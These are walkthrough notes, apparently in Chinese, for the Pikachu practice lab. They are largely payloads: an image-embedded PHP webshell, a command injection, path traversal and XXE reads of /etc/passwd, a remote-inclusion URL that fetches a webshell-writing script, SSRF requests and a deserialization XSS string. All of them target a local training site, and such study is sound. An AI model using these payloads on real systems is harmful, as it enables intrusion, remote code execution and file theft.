Pikachu漏洞靶场系列之综合

<script>
    function checkFileExt(filename){
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++){
            if(ext == arr[i]){
                flag = true; //一旦找到合适的，立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag){
            alert("上传的文件不符合要求，请重新选择！");
            location.reload(true);
        }
    }
</script>

TXT文本 text/plain
GIF图片 image/git
JPG图片 image/jpeg

 #  copy /b 图片.png + 木马.php 图片木马.png
 copy /b a.png + shell.php muma.png

127.0.0.1

127.0.0.1 && whoami

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=提交

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../etc/passwd&submit=提交

allow_url_include = On

<?php
    $file = fopen("shell.php", "w");
    $shell = '<?php eval($_POST[x]); ?>';
    fwrite($file, $shell);
    fclose($file);
?>

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.txt?filename=http://192.168.1.103/new.txt&submit=提交

http://127.0.0.1/pikachu/vul/fileinclude/shell.php

 <?php   
   $file = $_GET['page'];     //替换字符串   
   $file = str_replace("http://", "", $file);   
   $file = str_replace("https://", "", $file); 
 ?>

 allow_url_fopen = off 
 Allow_url_include = off 
 magic_quotes_gpc = on

class S{
    public $test="pikachu";
}
$s = new S();  // 创建一个对象
serialize($s); // 把这个对象进行序列化

O:代表object

1:代表对象名字长度为一个字符
S:对象的名称

1:代表对象里面有一个变量
s:变量名数据类型
4:变量名的长度
test:变量名
s:变量值数据类型
7:变量值的长度
pikachu:变量值

$u = unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");

echo $u->test; // 输出反序列化结果中的test变量,即pikachu

class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;
    }
}
$s = $_GET['test'];
@$unser = unserialize($a);

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

pikachu</p><script>alert('xss')</script>

O:1:"S":1:{s:4:"test";s:40:"pikachu</p><script>alert('xss')</script>";}

$xml = $_POST['xml'];
# simplexml_load_string()函数: 将XML字符串转换为SimpleXMLElement对象
$data = @simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT)
...

<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [
    <!ENTITY user "Naraku">
]>

<!--文档元素-->
<name>&user;</name>

<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

# PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:22

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/myfile.txt

http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "ssrf.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';
?>

<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="ssrf.php"></a>
                </li>
                <li class="active">概述</li>
            </ul>
        </div>
        <div class="page-content">

         <b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
         <p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
            导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
            <br>
            数据流:攻击者----->服务器---->目标地址<br>
            <br>
            根据后台使用的函数的不同,对应的影响和利用方法又有不一样
            <pre style="width: 500px;">
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
            </pre><br>
            如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。
<br>
            <br>

            你可以根据"SSRF"里面的项目来搞懂问题的原因

        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';

?>

http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../etc/passwd

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../etc/passwd

http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php?url=目标站点